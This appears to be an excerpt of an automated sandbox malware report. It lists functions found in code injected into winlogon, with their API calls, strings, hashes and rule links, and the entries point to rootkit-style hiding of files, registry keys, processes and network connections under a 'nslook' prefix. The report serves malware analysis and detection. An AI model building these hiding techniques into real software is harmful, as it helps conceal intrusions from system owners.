NtEnumerateValueKey, xrefs: 000001AFDDD020D6

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: AddressHandleModuleProc$CurrentThread
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4239977575-1975688563
Opcode ID: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction ID: 1a5438afa96fb31eb2c2d26e916ed9bb00d06edd36a7089945c407a5c1feeb2e
Opcode Fuzzy Hash: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction Fuzzy Hash: BD91A0B5347B0291EE57DBD5EC543E42AA8BB8B749F84403D840A026E8EE38915EE213

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0BEC8 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001AFDDD0BF41
RtlLookupFunctionEntry.KERNEL32 ref: 000001AFDDD0BF59
RtlVirtualUnwind.KERNEL32 ref: 000001AFDDD0BF94
IsDebuggerPresent.KERNEL32 ref: 000001AFDDD0BFCD
SetUnhandledExceptionFilter.KERNEL32 ref: 000001AFDDD0BFD7
UnhandledExceptionFilter.KERNEL32 ref: 000001AFDDD0BFE2

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction ID: 5ae404829e96b964d4d6b74cf890e1c381ddceb9440aade8a95e75f581d11291
Opcode Fuzzy Hash: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction Fuzzy Hash: B9319F36316F8186DB61CFA5E8403EE37A4F789758F54012AEA8D43B98DF38C14ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD11000 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000001AFDDD1106F
WriteFile.KERNEL32 ref: 000001AFDDD11319
WriteFile.KERNEL32 ref: 000001AFDDD1136B
GetLastError.KERNEL32 ref: 000001AFDDD114AD
GetLastError.KERNEL32 ref: 000001AFDDD114BF

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction ID: 661746793f4cd0b617fe7632d71190ed6a4bcbe8dfa628f154cda19715d2a625
Opcode Fuzzy Hash: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction Fuzzy Hash: 3AD1D073706A819AEB02CBE5D4402ED7BB9F74678CF14422ADE8A47BD9DA34C01BC301

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD029E0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 379
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001AFDDD02B1C
GetFinalPathNameByHandleW.KERNEL32 ref: 000001AFDDD02B43
lstrlenW.KERNEL32 ref: 000001AFDDD02B71
lstrcpyW.KERNEL32 ref: 000001AFDDD02B8C
lstrcmpiW.KERNEL32 ref: 000001AFDDD02BF9
lstrcpyW.KERNEL32 ref: 000001AFDDD02C0E
lstrcatW.KERNEL32 ref: 000001AFDDD02C1B
PathCombineW.SHLWAPI ref: 000001AFDDD02C2A
lstrcmpiW.KERNEL32 ref: 000001AFDDD02C73
lstrcmpW.KERNEL32 ref: 000001AFDDD02C7B
lstrcmpiW.KERNEL32 ref: 000001AFDDD02D5B
lstrcpyW.KERNEL32 ref: 000001AFDDD02D70
lstrcatW.KERNEL32 ref: 000001AFDDD02D7D
PathCombineW.SHLWAPI ref: 000001AFDDD02D8C
lstrcmpW.KERNEL32 ref: 000001AFDDD02DDB
lstrcmpiW.KERNEL32 ref: 000001AFDDD02DD3

Part of subcall function 000001AFDDD0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD0A62D

Strings

\\?\, xrefs: 000001AFDDD02B53
nslook, xrefs: 000001AFDDD02BBF, 000001AFDDD02D1E, 000001AFDDD02E5C
\\.\pipe\, xrefs: 000001AFDDD02B27, 000001AFDDD02BE8, 000001AFDDD02D4A, 000001AFDDD02E84

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: lstrcmpi$Pathlstrcpy$Combinelstrcatlstrcmp$FileFinalHandleNameType_invalid_parameter_noinfolstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 4069998685-1812639415
Opcode ID: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction ID: 1f806242f89e9e1f980be443ca6f6b4c2c0827ea550975b3dfb393bbedccd0b9
Opcode Fuzzy Hash: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction Fuzzy Hash: 22F1817230368186EF268FE6D8407E97BA5F78AB89F444029DA4947BD8DF38C54ED701

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD033C0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 370
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001AFDDD03467
GetProcAddress.KERNEL32 ref: 000001AFDDD0347C
OpenProcess.KERNEL32 ref: 000001AFDDD0354C
K32GetModuleFileNameExW.KERNEL32 ref: 000001AFDDD0356D
PathFindFileNameW.SHLWAPI ref: 000001AFDDD0357F
lstrlenW.KERNEL32 ref: 000001AFDDD0358B
lstrcpyW.KERNEL32 ref: 000001AFDDD035A3
CloseHandle.KERNEL32 ref: 000001AFDDD035AC
lstrcmpiW.KERNEL32 ref: 000001AFDDD036A8
lstrcmpW.KERNEL32 ref: 000001AFDDD036B0
OpenProcess.KERNEL32 ref: 000001AFDDD036EF
K32GetModuleFileNameExW.KERNEL32 ref: 000001AFDDD03710
PathFindFileNameW.SHLWAPI ref: 000001AFDDD03722
lstrlenW.KERNEL32 ref: 000001AFDDD0372E
lstrcpyW.KERNEL32 ref: 000001AFDDD03746
CloseHandle.KERNEL32 ref: 000001AFDDD0374F
lstrcmpiW.KERNEL32 ref: 000001AFDDD03818
lstrcmpW.KERNEL32 ref: 000001AFDDD03820

Strings

NtQueryObject, xrefs: 000001AFDDD03472
ntdll.dll, xrefs: 000001AFDDD03460
nslook, xrefs: 000001AFDDD0383D
\Device\Nsi, xrefs: 000001AFDDD034AC

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: FileName$HandleModule$CloseFindOpenPathProcesslstrcmplstrcmpilstrcpylstrlen$AddressProc
String ID: NtQueryObject$\Device\Nsi$nslook$ntdll.dll
API String ID: 3769777229-563693742
Opcode ID: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction ID: 77b2b06c29c6f4a16f3b8846f1ab743aed207b05d1d4a6ef3ad6c79be8ae19af
Opcode Fuzzy Hash: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction Fuzzy Hash: D8F19C7670768182EE668FD6E4447E973A8F7CAB88F44403ADA49477C4DF38C84AD742

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD02630 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 195
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001AFDDD02741
GetFinalPathNameByHandleW.KERNEL32 ref: 000001AFDDD02769
lstrlenW.KERNEL32 ref: 000001AFDDD02799
lstrcpyW.KERNEL32 ref: 000001AFDDD027B3

Strings

\\?\, xrefs: 000001AFDDD02779
nslook, xrefs: 000001AFDDD0280D
\\.\pipe\, xrefs: 000001AFDDD0274C, 000001AFDDD02837

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: FileFinalHandleNamePathTypelstrcpylstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 2439355722-1812639415
Opcode ID: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction ID: 875cf54bdec8b43193d1008bf06815df52a67b0cd42473c4cffd71f8ed247fcf
Opcode Fuzzy Hash: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction Fuzzy Hash: DF91513630768181EF629FD1E4447EE6BA4F7C6B89F444029DA8943AD9DF38C54EDB02

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD024F0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 76
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001AFDDD02512
GetCurrentProcessId.KERNEL32 ref: 000001AFDDD0251A
OpenProcess.KERNEL32 ref: 000001AFDDD0253E
IsWow64Process.KERNEL32 ref: 000001AFDDD02558
CloseHandle.KERNEL32 ref: 000001AFDDD02576
CreateFileW.KERNEL32 ref: 000001AFDDD025AD
WriteFile.KERNEL32 ref: 000001AFDDD025D2
ReadFile.KERNEL32 ref: 000001AFDDD025EE
CloseHandle.KERNEL32 ref: 000001AFDDD025F7

Strings

\\.\pipe\nslookchildproc32, xrefs: 000001AFDDD0258F
\\.\pipe\nslookchildproc64, xrefs: 000001AFDDD0257C

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\nslookchildproc32$\\.\pipe\nslookchildproc64
API String ID: 2171963597-3427204187
Opcode ID: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction ID: 9f992d225a09bc82c20bc3a95380d94d57120195c82c119c5f604f447a4360d2
Opcode Fuzzy Hash: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction Fuzzy Hash: 7631303630764185EA218BD6F45469A67A8F78AB99F4401399E5D03B98DF3CC54E8B01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD086EC Relevance: 15.2, APIs: 10, Instructions: 231COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001AFDDD08714
__scrt_acquire_startup_lock.LIBCMT ref: 000001AFDDD08766
_RTC_Initialize.LIBCMT ref: 000001AFDDD08794
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001AFDDD087BA
__scrt_release_startup_lock.LIBCMT ref: 000001AFDDD087E5
__scrt_fastfail.LIBCMT ref: 000001AFDDD0884B

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction ID: 6a09d110d356032e916ea35ee3ac232cbdda02acbd041d88e2c77de9dd09a596
Opcode Fuzzy Hash: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction Fuzzy Hash: 9181B23170364186FE56BBE6A4413F96A94B7C778CF68423D9948437D6DA38C84FA703

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDCD7AEC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001AFDDCD7B14
__scrt_acquire_startup_lock.LIBCMT ref: 000001AFDDCD7B66
_RTC_Initialize.LIBCMT ref: 000001AFDDCD7B94
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001AFDDCD7BBA
__scrt_release_startup_lock.LIBCMT ref: 000001AFDDCD7BE5
__scrt_fastfail.LIBCMT ref: 000001AFDDCD7C4B

Memory Dump Source

Source File: 0000002A.00000002.508622976.000001AFDDCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDCD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddcd0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction ID: 1e762ff9b906580a599c249e70862c3eaa675176dbb0eda7254397c2f059be5a
Opcode Fuzzy Hash: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction Fuzzy Hash: E681D17170368196FA63ABE99C413E962D0AB87780F08413D9ACA537D6DB39C84FC712

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD03C30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 221stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001AFDDD03D01
lstrcmpW.KERNEL32 ref: 000001AFDDD03D09
lstrcmpW.KERNEL32 ref: 000001AFDDD03D59
lstrcmpiW.KERNEL32 ref: 000001AFDDD03D51

Part of subcall function 000001AFDDD0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD0A62D

lstrcmpiW.KERNEL32 ref: 000001AFDDD03E51
lstrcmpW.KERNEL32 ref: 000001AFDDD03E59
lstrcmpiW.KERNEL32 ref: 000001AFDDD03EA1
lstrcmpW.KERNEL32 ref: 000001AFDDD03EA9

Strings

nslook, xrefs: 000001AFDDD03C90, 000001AFDDD03CB3, 000001AFDDD03DE7, 000001AFDDD03E0A

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: lstrcmplstrcmpi$_invalid_parameter_noinfo
String ID: nslook
API String ID: 125796670-925916808
Opcode ID: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction ID: 564dc93cba68000b14c5f33c08b8aff170c7fd74b0c9f4e9f289ec3b9c1b2c31
Opcode Fuzzy Hash: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction Fuzzy Hash: DE81DB76303A4186EF668FE6D5443B92364F782B88F05423DCB0A47AD0DB35D41BE352

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD011C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135stringregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001AFDDD01220
RegEnumValueW.ADVAPI32 ref: 000001AFDDD012AD
lstrcmpiW.KERNEL32 ref: 000001AFDDD012F6
lstrcmpW.KERNEL32 ref: 000001AFDDD012FE
lstrlenW.KERNEL32 ref: 000001AFDDD01363
lstrcpyW.KERNEL32 ref: 000001AFDDD0139E

Strings

d, xrefs: 000001AFDDD01275

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: EnumInfoQueryValuelstrcmplstrcmpilstrcpylstrlen
String ID: d
API String ID: 760382566-2564639436
Opcode ID: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction ID: 18ce0ad3eb8714951c01e411df11b3c20a28feb3eb85d7b88ac85e72812145ee
Opcode Fuzzy Hash: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction Fuzzy Hash: 77516172306B8186EB55DB91F5403EE73A9F3C9B84F404029DB9947B98DF38D06ADB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD044F0 Relevance: 10.6, APIs: 7, Instructions: 125threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001AFDDD0451E
GetCurrentProcess.KERNEL32 ref: 000001AFDDD0452C
VirtualProtectEx.KERNEL32 ref: 000001AFDDD0454E
GetCurrentProcess.KERNEL32 ref: 000001AFDDD0456F
VirtualProtectEx.KERNEL32 ref: 000001AFDDD04590
TerminateThread.KERNEL32 ref: 000001AFDDD045A9
GetCurrentThread.KERNEL32 ref: 000001AFDDD045D3

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Current$ProcessProtectThreadVirtual$HandleModuleTerminate
String ID:
API String ID: 23076575-0
Opcode ID: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction ID: 632377a80ea8a0f5ae15f645c7ca671053f411d7eb6597cec96c792c6921dcde
Opcode Fuzzy Hash: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction Fuzzy Hash: 5E61F871327B4282EE52DBD5E8517E927A4FB86748F84103DE94D067E9EF28C00ED742

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0A140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001AFDDD0A1C3
GetLastError.KERNEL32 ref: 000001AFDDD0A1D1
LoadLibraryExW.KERNEL32 ref: 000001AFDDD0A1FB
FreeLibrary.KERNEL32 ref: 000001AFDDD0A241
GetProcAddress.KERNEL32 ref: 000001AFDDD0A24D

Strings

api-ms-, xrefs: 000001AFDDD0A1E3

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction ID: 567beaadd5fe4ad5575b2337ac8c29b93a43c4ddc9d957b24ee5bb696a616a7b
Opcode Fuzzy Hash: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction Fuzzy Hash: B931C73235774195EE239BD2A800BF92398F796B68F49653DDD29077D5EF38C04A9302

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD02E38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001AFDDD02E95
lstrcpyW.KERNEL32 ref: 000001AFDDD02EAA
lstrcatW.KERNEL32 ref: 000001AFDDD02EB7
lstrcmpiW.KERNEL32 ref: 000001AFDDD02F03

Part of subcall function 000001AFDDD0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD0A62D

Strings

nslook, xrefs: 000001AFDDD02E5C
\\.\pipe\, xrefs: 000001AFDDD02E84

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction ID: 064856c7aedb696d55f5fe50187f8b7233cfcad3f41a0e327785bf44722cf69b
Opcode Fuzzy Hash: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction Fuzzy Hash: 7C31607230364186EE169BE6D5507F86B66F78AB8DF544039CE0A476D8DF34C54EE302

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD027E9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001AFDDD02846
lstrcpyW.KERNEL32 ref: 000001AFDDD0285D
lstrcatW.KERNEL32 ref: 000001AFDDD0286E
lstrcmpiW.KERNEL32 ref: 000001AFDDD028C9

Part of subcall function 000001AFDDD0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD0A62D

Strings

nslook, xrefs: 000001AFDDD0280D
\\.\pipe\, xrefs: 000001AFDDD02837

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction ID: bd352007f468cce5778ea594c8893fee73506a8693bb9914e72b408b6f6fb868
Opcode Fuzzy Hash: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction Fuzzy Hash: 5131803A30768192EE669BE1E4547FD6761F786B89F444029CA0A036D8DF38D54EE702

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD1295C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001AFDDD1298D
GetLastError.KERNEL32 ref: 000001AFDDD12999
CloseHandle.KERNEL32 ref: 000001AFDDD129B1
CreateFileW.KERNEL32 ref: 000001AFDDD129DC
WriteConsoleW.KERNEL32 ref: 000001AFDDD129FB

Strings

CONOUT$, xrefs: 000001AFDDD129BD

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction ID: 33222000fccaacbce4f89624b909a2fb54468e58bb1b9d00d34356dfe69b2a33
Opcode Fuzzy Hash: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction Fuzzy Hash: 75119333312B4286EB518BD2F84475966A8F389BE8F144238EA5D877E8CF38C54E8745

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD019F0 Relevance: 10.3, APIs: 8, Instructions: 286stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001AFDDD01A84
lstrcmpiW.KERNEL32 ref: 000001AFDDD01B5C

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction ID: d029227b87d97915c65a5c7e952fb2796850ae1ca214e6555b56cce8bc429d42
Opcode Fuzzy Hash: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction Fuzzy Hash: 11C1533671360087EF62CFDAD0807B973A1F3D6B88F958029DA09837D8DB35D89A9751

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0ACFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001AFDDD0AD18
GetProcAddress.KERNEL32 ref: 000001AFDDD0AD2E
FreeLibrary.KERNEL32 ref: 000001AFDDD0AD4B

Strings

CorExitProcess, xrefs: 000001AFDDD0AD27
mscoree.dll, xrefs: 000001AFDDD0AD0F

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction ID: d85413ce1d58126bfb42fe99aad1d5aa8599cec1380482a3386a027090e3cca6
Opcode Fuzzy Hash: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction Fuzzy Hash: D9F0127231364282FF569FE1E4843E92368EB89759F44203DA90B4A5E5DF3CC58EC752

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD1194C Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD1198D
GetConsoleMode.KERNEL32 ref: 000001AFDDD11A4C
GetLastError.KERNEL32 ref: 000001AFDDD11ACC

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction ID: fada62c1b21bbca1d988ad8866705df4913a3099c42c3af81d7504fbb9f6a211
Opcode Fuzzy Hash: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction Fuzzy Hash: 8881AE33713A1289FF229BE5D8407ED6BA8F746B9CF444239DA0A536D5DA34844FC712

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD06620 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001AFDDD06636

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0d64e0ab7572ed2ee22c40ee5596af816ffd64d1a05f57047e0db58f1c18debd
Instruction ID: dde1c718bea41b3872b11c08cc23819d8f050d480778f959ce451347d46f2023
Opcode Fuzzy Hash: 0d64e0ab7572ed2ee22c40ee5596af816ffd64d1a05f57047e0db58f1c18debd
Instruction Fuzzy Hash: 7861DA3261BA80C7EB618B95E44176AB7A4F3C9748F500129FA8D43BE8DB7CC549DB02

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD12C78 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001AFDDD12CA0
_set_statfp.LIBCMT ref: 000001AFDDD12CBB
